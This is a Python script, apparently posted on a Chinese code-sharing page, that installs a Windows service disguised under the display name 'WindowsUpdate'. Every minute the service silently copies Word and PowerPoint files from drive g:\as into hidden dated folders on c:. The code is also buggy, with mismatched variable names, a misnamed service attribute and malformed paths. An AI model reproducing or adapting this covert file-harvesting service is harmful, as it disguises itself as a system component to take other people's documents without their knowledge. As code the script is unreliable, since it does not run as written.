?? downloadu.py
字號:
# -*- coding: cp936 -*-
#FileName:DownloadU.py
#author:xsl
#version:0.1
import win32serviceutil
import win32service
import win32event
class test1(win32serviceutil.ServiceFramework):
_svc_name = "test1"
_svc_display_name_ = "WindowsUpdate"
def __init__(self,args = None):
win32serviceutil.ServiceFramework.__init__(self,args)
self.hWaitStop = win32event.CreateEvent(None,0,0,None)
def SvcStop(self):
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
win32event.SetEvent(self.hWaitStop)
def SvcDoRun(self):
import os
import shutil
import time
target_dir = "c:\\123"
while True:
time.sleep(60)
if not os.path.exists(target_dir):
os.mkdir(target_dir)
today = target_dir + time.strftime('%Y%m%d') + "\\"
if not os.path.exists(today):
os.mkdir(today)
try :
for root,dirs,files in os.walk("g:\as"):
for one in files:
fileType = os.path.splitext(one)[1]
if filetype == ".ppt" or type == ".pptx" or type == ".doc" or type == "docx" :
if len(root) > 3 and not os.path.exists(today+root[3:]):
os.mkdir(today + root[3:])
shutil.copy(root+'/'+one,today+root[3:]+'/'+one)
except:
print("Except")
test = test1()
test.SvcDoRun()
test.SvcStop()
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -